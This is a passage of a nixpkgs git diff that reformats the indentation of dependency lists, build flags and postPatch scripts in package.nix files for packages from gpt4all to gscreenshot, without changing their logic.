-      # https://github.com/nomic-ai/gpt4all/issues/3468
-      (lib.cmakeBool "LLMODEL_KOMPUTE" false)
-    ]
-    ++ lib.optionals (!cudaSupport) [
-      (lib.cmakeBool "LLMODEL_CUDA" false)
-    ];
+    # https://github.com/NixOS/nixpkgs/issues/298997
+    # https://github.com/nomic-ai/gpt4all/issues/3468
+    (lib.cmakeBool "LLMODEL_KOMPUTE" false)
+  ]
+  ++ lib.optionals (!cudaSupport) [
+    (lib.cmakeBool "LLMODEL_CUDA" false)
+  ];
 
   postInstall = ''
     rm -rf $out/include
diff --git a/pkgs/by-name/gp/gptfdisk/package.nix b/pkgs/by-name/gp/gptfdisk/package.nix
index 4965084857a6..e376f5fddb56 100644
--- a/pkgs/by-name/gp/gptfdisk/package.nix
+++ b/pkgs/by-name/gp/gptfdisk/package.nix
@@ -20,24 +20,23 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-Kr7WG8bSuexJiXPARAuLgEt6ctcUQGm1qSCbKtaTooI=";
   };
 
-  postPatch =
-    ''
-      patchShebangs gdisk_test.sh
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile.mac --replace \
-        "-mmacosx-version-min=10.4" "-mmacosx-version-min=10.6"
-      substituteInPlace Makefile.mac --replace \
-        " -arch i386" ""
-      substituteInPlace Makefile.mac --replace \
-        "-arch x86_64" ""
-      substituteInPlace Makefile.mac --replace \
-        "-arch arm64" ""
-      substituteInPlace Makefile.mac --replace \
-        " -I/opt/local/include -I /usr/local/include -I/opt/local/include" ""
-      substituteInPlace Makefile.mac --replace \
-        "/usr/local/Cellar/ncurses/6.2/lib/libncurses.dylib" "${ncurses.out}/lib/libncurses.dylib"
-    '';
+  postPatch = ''
+    patchShebangs gdisk_test.sh
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Makefile.mac --replace \
+      "-mmacosx-version-min=10.4" "-mmacosx-version-min=10.6"
+    substituteInPlace Makefile.mac --replace \
+      " -arch i386" ""
+    substituteInPlace Makefile.mac --replace \
+      "-arch x86_64" ""
+    substituteInPlace Makefile.mac --replace \
+      "-arch arm64" ""
+    substituteInPlace Makefile.mac --replace \
+      " -I/opt/local/include -I /usr/local/include -I/opt/local/include" ""
+    substituteInPlace Makefile.mac --replace \
+      "/usr/local/Cellar/ncurses/6.2/lib/libncurses.dylib" "${ncurses.out}/lib/libncurses.dylib"
+  '';
 
   buildPhase = lib.optionalString stdenv.hostPlatform.isDarwin "make -f Makefile.mac";
   buildInputs = [
diff --git a/pkgs/by-name/gp/gpufetch/package.nix b/pkgs/by-name/gp/gpufetch/package.nix
index 712ea4975a33..123dbe399224 100644
--- a/pkgs/by-name/gp/gpufetch/package.nix
+++ b/pkgs/by-name/gp/gpufetch/package.nix
@@ -25,25 +25,23 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-1j23h3TDxa2xu03o37fXfRL3XFYyhMWFGupAlkrYpBY=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      installShellFiles
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    installShellFiles
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
-  buildInputs =
-    [
-      zlib
-      pciutils
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_nvml_dev
-    ];
+  buildInputs = [
+    zlib
+    pciutils
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_nvml_dev
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/gr/grail/package.nix b/pkgs/by-name/gr/grail/package.nix
index 85e61cbc7031..93a3bd282d96 100644
--- a/pkgs/by-name/gr/grail/package.nix
+++ b/pkgs/by-name/gr/grail/package.nix
@@ -19,18 +19,17 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      python3
-      frame
-    ]
-    ++ lib.optionals enableX11 [
-      xorg.libX11
-      xorg.libXtst
-      xorg.libXext
-      xorg.libXi
-      xorg.libXfixes
-    ];
+  buildInputs = [
+    python3
+    frame
+  ]
+  ++ lib.optionals enableX11 [
+    xorg.libX11
+    xorg.libXtst
+    xorg.libXext
+    xorg.libXi
+    xorg.libXfixes
+  ];
 
   configureFlags = lib.optional enableX11 "--with-x11";
 
diff --git a/pkgs/by-name/gr/gramps/package.nix b/pkgs/by-name/gr/gramps/package.nix
index 7972d9ec2ae3..6be317640fd5 100644
--- a/pkgs/by-name/gr/gramps/package.nix
+++ b/pkgs/by-name/gr/gramps/package.nix
@@ -54,34 +54,32 @@ buildPythonApplication rec {
     python3Packages.setuptools
   ];
 
-  nativeCheckInputs =
-    [
-      glibcLocales
-      python3Packages.unittestCheckHook
-      python3Packages.jsonschema
-      python3Packages.mock
-      python3Packages.lxml
-    ]
-    # TODO: use JHBuild to build the Gramps' bundle
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeCheckInputs = [
+    glibcLocales
+    python3Packages.unittestCheckHook
+    python3Packages.jsonschema
+    python3Packages.mock
+    python3Packages.lxml
+  ]
+  # TODO: use JHBuild to build the Gramps' bundle
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
-  buildInputs =
-    [
-      gtk3
-      pango
-      gexiv2
-    ]
-    # Map support
-    ++ lib.optionals enableOSM [
-      osm-gps-map
-      glib-networking
-    ]
-    # Graphviz support
-    ++ lib.optional enableGraphviz graphviz
-    # Ghostscript support
-    ++ lib.optional enableGhostscript ghostscript;
+  buildInputs = [
+    gtk3
+    pango
+    gexiv2
+  ]
+  # Map support
+  ++ lib.optionals enableOSM [
+    osm-gps-map
+    glib-networking
+  ]
+  # Graphviz support
+  ++ lib.optional enableGraphviz graphviz
+  # Ghostscript support
+  ++ lib.optional enableGhostscript ghostscript;
 
   propagatedBuildInputs = with python3Packages; [
     berkeleydb
diff --git a/pkgs/by-name/gr/grandorgue/package.nix b/pkgs/by-name/gr/grandorgue/package.nix
index 0c6e804aeceb..404f754f0d6c 100644
--- a/pkgs/by-name/gr/grandorgue/package.nix
+++ b/pkgs/by-name/gr/grandorgue/package.nix
@@ -41,19 +41,18 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      fftwFloat
-      zlib
-      wavpack
-      wxGTK32
-      yaml-cpp
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      udev
-    ]
-    ++ lib.optional jackaudioSupport libjack2;
+  buildInputs = [
+    fftwFloat
+    zlib
+    wavpack
+    wxGTK32
+    yaml-cpp
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    udev
+  ]
+  ++ lib.optional jackaudioSupport libjack2;
 
   cmakeFlags =
     lib.optionals (!jackaudioSupport) [
diff --git a/pkgs/by-name/gr/graphene/package.nix b/pkgs/by-name/gr/graphene/package.nix
index 534c8d24fb9b..87fd08ecba40 100644
--- a/pkgs/by-name/gr/graphene/package.nix
+++ b/pkgs/by-name/gr/graphene/package.nix
@@ -31,13 +31,12 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "graphene";
   version = "1.10.8";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withDocumentation [ "devdoc" ]
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "installedTests" ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withDocumentation [ "devdoc" ]
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "installedTests" ];
 
   src = fetchFromGitHub {
     owner = "ebassi";
@@ -64,25 +63,24 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-      makeWrapper
-    ]
-    ++ lib.optionals withDocumentation [
-      docbook_xml_dtd_43
-      docbook_xsl
-      gtk-doc
-    ]
-    ++ lib.optionals (withDocumentation && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+    makeWrapper
+  ]
+  ++ lib.optionals withDocumentation [
+    docbook_xml_dtd_43
+    docbook_xsl
+    gtk-doc
+  ]
+  ++ lib.optionals (withDocumentation && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
   buildInputs = [
     glib
@@ -92,33 +90,31 @@ stdenv.mkDerivation (finalAttrs: {
     mutest
   ];
 
-  mesonFlags =
-    [
-      (lib.mesonBool "gtk_doc" withDocumentation)
-      (lib.mesonEnable "introspection" withIntrospection)
-      "-Dinstalled_test_datadir=${placeholder "installedTests"}/share"
-      "-Dinstalled_test_bindir=${placeholder "installedTests"}/libexec"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-      # the box test is failing with SIGBUS on armv7l-linux
-      # https://github.com/ebassi/graphene/issues/215
-      "-Darm_neon=false"
-    ];
+  mesonFlags = [
+    (lib.mesonBool "gtk_doc" withDocumentation)
+    (lib.mesonEnable "introspection" withIntrospection)
+    "-Dinstalled_test_datadir=${placeholder "installedTests"}/share"
+    "-Dinstalled_test_bindir=${placeholder "installedTests"}/libexec"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+    # the box test is failing with SIGBUS on armv7l-linux
+    # https://github.com/ebassi/graphene/issues/215
+    "-Darm_neon=false"
+  ];
 
   doCheck = true;
 
-  postPatch =
-    ''
-      patchShebangs tests/gen-installed-test.py
-    ''
-    + lib.optionalString withIntrospection ''
-      PATH=${
-        python3.withPackages (pp: [
-          pp.pygobject3
-          pp.tappy
-        ])
-      }/bin:$PATH patchShebangs tests/introspection.py
-    '';
+  postPatch = ''
+    patchShebangs tests/gen-installed-test.py
+  ''
+  + lib.optionalString withIntrospection ''
+    PATH=${
+      python3.withPackages (pp: [
+        pp.pygobject3
+        pp.tappy
+      ])
+    }/bin:$PATH patchShebangs tests/introspection.py
+  '';
 
   postFixup =
     let
diff --git a/pkgs/by-name/gr/graphicsmagick/package.nix b/pkgs/by-name/gr/graphicsmagick/package.nix
index 427f37b2c8f5..e4e0743990aa 100644
--- a/pkgs/by-name/gr/graphicsmagick/package.nix
+++ b/pkgs/by-name/gr/graphicsmagick/package.nix
@@ -53,13 +53,15 @@ stdenv.mkDerivation (finalAttrs: {
     libwebp
     libxml2
     zlib
-  ] ++ lib.optionals libheifSupport [ libheif ];
+  ]
+  ++ lib.optionals libheifSupport [ libheif ];
 
   nativeBuildInputs = [
     nukeReferences
     pkg-config
     xz
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 
   configureFlags = [
     # specify delegates explicitly otherwise `gm` will invoke the build
diff --git a/pkgs/by-name/gr/grass/package.nix b/pkgs/by-name/gr/grass/package.nix
index 9cfecce436da..2843a22a57c0 100644
--- a/pkgs/by-name/gr/grass/package.nix
+++ b/pkgs/by-name/gr/grass/package.nix
@@ -49,87 +49,84 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-q1jOimQi+24I1ZBf6Z0cvAyXcBFBpT5aWSNeG6n6y0k=";
   };
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      wrapGAppsHook3
+  nativeBuildInputs = [
+    makeWrapper
+    wrapGAppsHook3
 
-      bison
-      flex
-      gdal # for `gdal-config`
-      geos # for `geos-config`
-      netcdf # for `nc-config`
-      pkg-config
-    ]
-    ++ (with python3Packages; [
-      python-dateutil
-      numpy
-      wxpython
-    ]);
+    bison
+    flex
+    gdal # for `gdal-config`
+    geos # for `geos-config`
+    netcdf # for `nc-config`
+    pkg-config
+  ]
+  ++ (with python3Packages; [
+    python-dateutil
+    numpy
+    wxpython
+  ]);
 
-  buildInputs =
-    [
-      blas
-      cairo
-      ffmpeg
-      fftw
-      freetype
-      gdal
-      geos
-      lapack
-      libpng
-      libsvm
-      libtiff
-      libxml2
-      netcdf
-      pdal
-      libpq
-      proj
-      readline
-      sqlite
-      wxGTK32
-      zlib
-      zstd
-    ]
-    ++ lib.optionals withOpenGL [ libGLU ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ]
-    ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  buildInputs = [
+    blas
+    cairo
+    ffmpeg
+    fftw
+    freetype
+    gdal
+    geos
+    lapack
+    libpng
+    libsvm
+    libtiff
+    libxml2
+    netcdf
+    pdal
+    libpq
+    proj
+    readline
+    sqlite
+    wxGTK32
+    zlib
+    zstd
+  ]
+  ++ lib.optionals withOpenGL [ libGLU ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   strictDeps = true;
 
-  configureFlags =
-    [
-      "--with-blas"
-      "--with-cairo-ldflags=-lfontconfig"
-      "--with-cxx"
-      "--with-fftw"
-      "--with-freetype"
-      "--with-geos"
-      "--with-gdal"
-      "--with-lapack"
-      "--with-libsvm"
-      "--with-nls"
-      "--with-openmp"
-      "--with-pdal"
-      "--with-postgres"
-      "--with-postgres-libs=${libpq}/lib/"
-      "--with-proj-includes=${proj.dev}/include"
-      "--with-proj-libs=${proj}/lib"
-      "--with-proj-share=${proj}/share/proj"
-      "--with-sqlite"
-      "--with-zstd"
-      "--without-bzlib"
-      "--without-mysql"
-      "--without-odbc"
-    ]
-    ++ lib.optionals (!withOpenGL) [
-      "--without-opengl"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--without-cairo"
-      "--without-freetype"
-      "--without-x"
-    ];
+  configureFlags = [
+    "--with-blas"
+    "--with-cairo-ldflags=-lfontconfig"
+    "--with-cxx"
+    "--with-fftw"
+    "--with-freetype"
+    "--with-geos"
+    "--with-gdal"
+    "--with-lapack"
+    "--with-libsvm"
+    "--with-nls"
+    "--with-openmp"
+    "--with-pdal"
+    "--with-postgres"
+    "--with-postgres-libs=${libpq}/lib/"
+    "--with-proj-includes=${proj.dev}/include"
+    "--with-proj-libs=${proj}/lib"
+    "--with-proj-share=${proj}/share/proj"
+    "--with-sqlite"
+    "--with-zstd"
+    "--without-bzlib"
+    "--without-mysql"
+    "--without-odbc"
+  ]
+  ++ lib.optionals (!withOpenGL) [
+    "--without-opengl"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--without-cairo"
+    "--without-freetype"
+    "--without-x"
+  ];
 
   # Otherwise a very confusing "Can't load GDAL library" error
   makeFlags = lib.optional stdenv.hostPlatform.isDarwin "GDAL_DYNAMIC=";
diff --git a/pkgs/by-name/gr/gretl/package.nix b/pkgs/by-name/gr/gretl/package.nix
index 2f811e9e4e5d..2de83eae4f59 100644
--- a/pkgs/by-name/gr/gretl/package.nix
+++ b/pkgs/by-name/gr/gretl/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     mpfr
     openblas
     readline
-  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/gr/grilo/package.nix b/pkgs/by-name/gr/grilo/package.nix
index 20334e4cda1b..fc85bed3a689 100644
--- a/pkgs/by-name/gr/grilo/package.nix
+++ b/pkgs/by-name/gr/grilo/package.nix
@@ -45,22 +45,21 @@ stdenv.mkDerivation rec {
     "-Denable-gtk-doc=true"
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-      gettext
-      gobject-introspection
-      vala
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+    gettext
+    gobject-introspection
+    vala
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/gr/groff/package.nix b/pkgs/by-name/gr/groff/package.nix
index fe25d58d66ec..3077330609d0 100644
--- a/pkgs/by-name/gr/groff/package.nix
+++ b/pkgs/by-name/gr/groff/package.nix
@@ -44,57 +44,54 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  postPatch =
-    ''
-      # BASH_PROG gets replaced with a path to the build bash which doesn't get automatically patched by patchShebangs
-      substituteInPlace contrib/gdiffmk/gdiffmk.sh \
-        --replace "@BASH_PROG@" "/bin/sh"
-    ''
-    + lib.optionalString enableHtml ''
-      substituteInPlace src/preproc/html/pre-html.cpp \
-        --replace "psselect" "${psutils}/bin/psselect" \
-        --replace "pnmcut" "${lib.getBin netpbm}/bin/pnmcut" \
-        --replace "pnmcrop" "${lib.getBin netpbm}/bin/pnmcrop" \
-        --replace "pnmtopng" "${lib.getBin netpbm}/bin/pnmtopng"
-      substituteInPlace tmac/www.tmac.in \
-        --replace "pnmcrop" "${lib.getBin netpbm}/bin/pnmcrop" \
-        --replace "pngtopnm" "${lib.getBin netpbm}/bin/pngtopnm" \
-        --replace "@PNMTOPS_NOSETPAGE@" "${lib.getBin netpbm}/bin/pnmtops -nosetpage"
-    ''
-    + lib.optionalString (enableGhostscript || enableHtml) ''
-      substituteInPlace contrib/pdfmark/pdfroff.sh \
-        --replace '$GROFF_GHOSTSCRIPT_INTERPRETER' "${lib.getBin ghostscript}/bin/gs" \
-        --replace '$GROFF_AWK_INTERPRETER' "${lib.getBin gawk}/bin/gawk"
-    '';
+  postPatch = ''
+    # BASH_PROG gets replaced with a path to the build bash which doesn't get automatically patched by patchShebangs
+    substituteInPlace contrib/gdiffmk/gdiffmk.sh \
+      --replace "@BASH_PROG@" "/bin/sh"
+  ''
+  + lib.optionalString enableHtml ''
+    substituteInPlace src/preproc/html/pre-html.cpp \
+      --replace "psselect" "${psutils}/bin/psselect" \
+      --replace "pnmcut" "${lib.getBin netpbm}/bin/pnmcut" \
+      --replace "pnmcrop" "${lib.getBin netpbm}/bin/pnmcrop" \
+      --replace "pnmtopng" "${lib.getBin netpbm}/bin/pnmtopng"
+    substituteInPlace tmac/www.tmac.in \
+      --replace "pnmcrop" "${lib.getBin netpbm}/bin/pnmcrop" \
+      --replace "pngtopnm" "${lib.getBin netpbm}/bin/pngtopnm" \
+      --replace "@PNMTOPS_NOSETPAGE@" "${lib.getBin netpbm}/bin/pnmtops -nosetpage"
+  ''
+  + lib.optionalString (enableGhostscript || enableHtml) ''
+    substituteInPlace contrib/pdfmark/pdfroff.sh \
+      --replace '$GROFF_GHOSTSCRIPT_INTERPRETER' "${lib.getBin ghostscript}/bin/gs" \
+      --replace '$GROFF_AWK_INTERPRETER' "${lib.getBin gawk}/bin/gawk"
+  '';
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      texinfo
-    ]
-    # Required due to the patch that changes .ypp files.
-    ++ lib.optional (stdenv.cc.isClang && lib.versionAtLeast stdenv.cc.version "9") bison;
-  buildInputs =
-    [
-      perl
-      bashNonInteractive
-    ]
-    ++ lib.optionals enableGhostscript [
-      ghostscript
-      gawk
-      libX11
-      libXaw
-      libXt
-      libXmu
-    ]
-    ++ lib.optionals enableHtml [
-      psutils
-      netpbm
-    ]
-    ++ lib.optionals enableIconv [ iconv ]
-    ++ lib.optionals enableLibuchardet [ libuchardet ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    texinfo
+  ]
+  # Required due to the patch that changes .ypp files.
+  ++ lib.optional (stdenv.cc.isClang && lib.versionAtLeast stdenv.cc.version "9") bison;
+  buildInputs = [
+    perl
+    bashNonInteractive
+  ]
+  ++ lib.optionals enableGhostscript [
+    ghostscript
+    gawk
+    libX11
+    libXaw
+    libXt
+    libXmu
+  ]
+  ++ lib.optionals enableHtml [
+    psutils
+    netpbm
+  ]
+  ++ lib.optionals enableIconv [ iconv ]
+  ++ lib.optionals enableLibuchardet [ libuchardet ];
 
   # Builds running without a chroot environment may detect the presence
   # of /usr/X11 in the host system, leading to an impure build of the
diff --git a/pkgs/by-name/gr/groonga/package.nix b/pkgs/by-name/gr/groonga/package.nix
index 1a7469909017..f401c101fdd7 100644
--- a/pkgs/by-name/gr/groonga/package.nix
+++ b/pkgs/by-name/gr/groonga/package.nix
@@ -40,25 +40,24 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      rapidjson
-      xxHash
-      zstd
-      mecab
-      kytea
-      msgpack-c
-    ]
-    ++ lib.optionals lz4Support [
-      lz4
-    ]
-    ++ lib.optional zlibSupport [
-      zlib
-    ]
-    ++ lib.optionals suggestSupport [
-      zeromq
-      libevent
-    ];
+  buildInputs = [
+    rapidjson
+    xxHash
+    zstd
+    mecab
+    kytea
+    msgpack-c
+  ]
+  ++ lib.optionals lz4Support [
+    lz4
+  ]
+  ++ lib.optional zlibSupport [
+    zlib
+  ]
+  ++ lib.optionals suggestSupport [
+    zeromq
+    libevent
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString zlibSupport "-I${zlib.dev}/include";
 
diff --git a/pkgs/by-name/gr/grpc/package.nix b/pkgs/by-name/gr/grpc/package.nix
index 55f55853d9c4..c904a619575f 100644
--- a/pkgs/by-name/gr/grpc/package.nix
+++ b/pkgs/by-name/gr/grpc/package.nix
@@ -50,12 +50,14 @@ stdenv.mkDerivation rec {
       hash = "sha256-Lm0GQsz/UjBbXXEE14lT0dcRzVmCKycrlrdBJj+KLu8=";
     })
     # fix build of 1.63.0 and newer on darwin: https://github.com/grpc/grpc/issues/36654
-  ] ++ (lib.optional stdenv.hostPlatform.isDarwin ./dynamic-lookup-darwin.patch);
+  ]
+  ++ (lib.optional stdenv.hostPlatform.isDarwin ./dynamic-lookup-darwin.patch);
 
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) grpc;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) grpc;
   propagatedBuildInputs = [
     c-ares
     re2
@@ -65,37 +67,37 @@ stdenv.mkDerivation rec {
   buildInputs = [
     openssl
     protobuf
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ libnsl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libnsl ];
 
-  cmakeFlags =
-    [
-      "-DgRPC_ZLIB_PROVIDER=package"
-      "-DgRPC_CARES_PROVIDER=package"
-      "-DgRPC_RE2_PROVIDER=package"
-      "-DgRPC_SSL_PROVIDER=package"
-      "-DgRPC_PROTOBUF_PROVIDER=package"
-      "-DgRPC_ABSL_PROVIDER=package"
-      "-DBUILD_SHARED_LIBS=ON"
+  cmakeFlags = [
+    "-DgRPC_ZLIB_PROVIDER=package"
+    "-DgRPC_CARES_PROVIDER=package"
+    "-DgRPC_RE2_PROVIDER=package"
+    "-DgRPC_SSL_PROVIDER=package"
+    "-DgRPC_PROTOBUF_PROVIDER=package"
+    "-DgRPC_ABSL_PROVIDER=package"
+    "-DBUILD_SHARED_LIBS=ON"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "-D_gRPC_PROTOBUF_PROTOC_EXECUTABLE=${buildPackages.protobuf}/bin/protoc"
+    "-D_gRPC_CPP_PLUGIN=${buildPackages.grpc}/bin/grpc_cpp_plugin"
+  ]
+  # The build scaffold defaults to c++14 on darwin, even when the compiler uses
+  # a more recent c++ version by default [1]. However, downgrades are
+  # problematic, because the compatibility types in abseil will have different
+  # interface definitions than the ones used for building abseil itself.
+  # [1] https://github.com/grpc/grpc/blob/v1.57.0/CMakeLists.txt#L239-L243
+  ++ (
+    let
+      defaultCxxIsOlderThan17 =
+        (stdenv.cc.isClang && lib.versionAtLeast stdenv.cc.cc.version "16.0")
+        || (stdenv.cc.isGNU && lib.versionAtLeast stdenv.cc.cc.version "11.0");
+    in
+    lib.optionals (stdenv.hostPlatform.isDarwin && defaultCxxIsOlderThan17) [
+      "-DCMAKE_CXX_STANDARD=17"
     ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "-D_gRPC_PROTOBUF_PROTOC_EXECUTABLE=${buildPackages.protobuf}/bin/protoc"
-      "-D_gRPC_CPP_PLUGIN=${buildPackages.grpc}/bin/grpc_cpp_plugin"
-    ]
-    # The build scaffold defaults to c++14 on darwin, even when the compiler uses
-    # a more recent c++ version by default [1]. However, downgrades are
-    # problematic, because the compatibility types in abseil will have different
-    # interface definitions than the ones used for building abseil itself.
-    # [1] https://github.com/grpc/grpc/blob/v1.57.0/CMakeLists.txt#L239-L243
-    ++ (
-      let
-        defaultCxxIsOlderThan17 =
-          (stdenv.cc.isClang && lib.versionAtLeast stdenv.cc.cc.version "16.0")
-          || (stdenv.cc.isGNU && lib.versionAtLeast stdenv.cc.cc.version "11.0");
-      in
-      lib.optionals (stdenv.hostPlatform.isDarwin && defaultCxxIsOlderThan17) [
-        "-DCMAKE_CXX_STANDARD=17"
-      ]
-    );
+  );
 
   # CMake creates a build directory by default, this conflicts with the
   # basel BUILD file on case-insensitive filesystems.
diff --git a/pkgs/by-name/gs/gscan2pdf/package.nix b/pkgs/by-name/gs/gscan2pdf/package.nix
index 599bf6d44513..c0ac37768c9d 100644
--- a/pkgs/by-name/gs/gscan2pdf/package.nix
+++ b/pkgs/by-name/gs/gscan2pdf/package.nix
@@ -38,42 +38,41 @@ perlPackages.buildPerlPackage rec {
 
   nativeBuildInputs = [ wrapGAppsHook3 ];
 
-  buildInputs =
-    [
-      librsvg
-      sane-backends
-      sane-frontends
-    ]
-    ++ (with perlPackages; [
-      Gtk3
-      Gtk3ImageView
-      Gtk3SimpleList
-      Cairo
-      CairoGObject
-      Glib
-      GlibObjectIntrospection
-      GooCanvas2
-      GraphicsTIFF
-      IPCSystemSimple
-      LocaleCodes
-      LocaleGettext
-      PDFBuilder
-      ImagePNGLibpng
-      ImageSane
-      SetIntSpan
-      ImageMagick
-      ConfigGeneral
-      ListMoreUtils
-      HTMLParser
-      ProcProcessTable
-      LogLog4perl
-      TryTiny
-      DataUUID
-      DateCalc
-      IOString
-      FilesysDf
-      SubOverride
-    ]);
+  buildInputs = [
+    librsvg
+    sane-backends
+    sane-frontends
+  ]
+  ++ (with perlPackages; [
+    Gtk3
+    Gtk3ImageView
+    Gtk3SimpleList
+    Cairo
+    CairoGObject
+    Glib
+    GlibObjectIntrospection
+    GooCanvas2
+    GraphicsTIFF
+    IPCSystemSimple
+    LocaleCodes
+    LocaleGettext
+    PDFBuilder
+    ImagePNGLibpng
+    ImageSane
+    SetIntSpan
+    ImageMagick
+    ConfigGeneral
+    ListMoreUtils
+    HTMLParser
+    ProcProcessTable
+    LogLog4perl
+    TryTiny
+    DataUUID
+    DateCalc
+    IOString
+    FilesysDf
+    SubOverride
+  ]);
 
   postPatch =
     let
@@ -113,23 +112,22 @@ perlPackages.buildPerlPackage rec {
     "man"
   ];
 
-  nativeCheckInputs =
-    [
-      imagemagick
-      libtiff
-      djvulibre
-      poppler-utils
-      ghostscript
-      unpaper
-      pdftk
+  nativeCheckInputs = [
+    imagemagick
+    libtiff
+    djvulibre
+    poppler-utils
+    ghostscript
+    unpaper
+    pdftk
 
-      xvfb-run
-      file
-      tesseract3 # tests are expecting tesseract 3.x precisely
-    ]
-    ++ (with perlPackages; [
-      TestPod
-    ]);
+    xvfb-run
+    file
+    tesseract3 # tests are expecting tesseract 3.x precisely
+  ]
+  ++ (with perlPackages; [
+    TestPod
+  ]);
 
   checkPhase = ''
     # Temporarily disable a dubiously failing test:
diff --git a/pkgs/by-name/gs/gscreenshot/package.nix b/pkgs/by-name/gs/gscreenshot/package.nix
index 1cc9f76984f4..075631b90387 100644
--- a/pkgs/by-name/gs/gscreenshot/package.nix
+++ b/pkgs/by-name/gs/gscreenshot/package.nix
@@ -34,31 +34,30 @@ python3Packages.buildPythonApplication rec {
   doCheck = false;
 
   nativeBuildInputs = [ wrapGAppsHook3 ];
-  propagatedBuildInputs =
-    [
-      gettext
-      gobject-introspection
-      gtk3
-      xdg-utils
-    ]
-    ++ lib.optionals waylandSupport [
-      # wayland deps
-      grim
-      slurp
-      wl-clipboard
-    ]
-    ++ lib.optionals x11Support [
-      # X11 deps
-      scrot
-      slop
-      xclip
-      python3Packages.xlib
-    ]
-    ++ (with python3Packages; [
-      pillow
-      pygobject3
-      setuptools
-    ]);
+  propagatedBuildInputs = [
+    gettext
+    gobject-introspection
+    gtk3
+    xdg-utils
+  ]
+  ++ lib.optionals waylandSupport [
+    # wayland deps
+    grim
+    slurp
+    wl-clipboard
+  ]
+  ++ lib.optionals x11Support [
+    # X11 deps
+    scrot
+    slop
+    xclip
+    python3Packages.xlib
+  ]
+  ++ (with python3Packages; [
+    pillow
+    pygobject3
+    setuptools
+  ]);
 
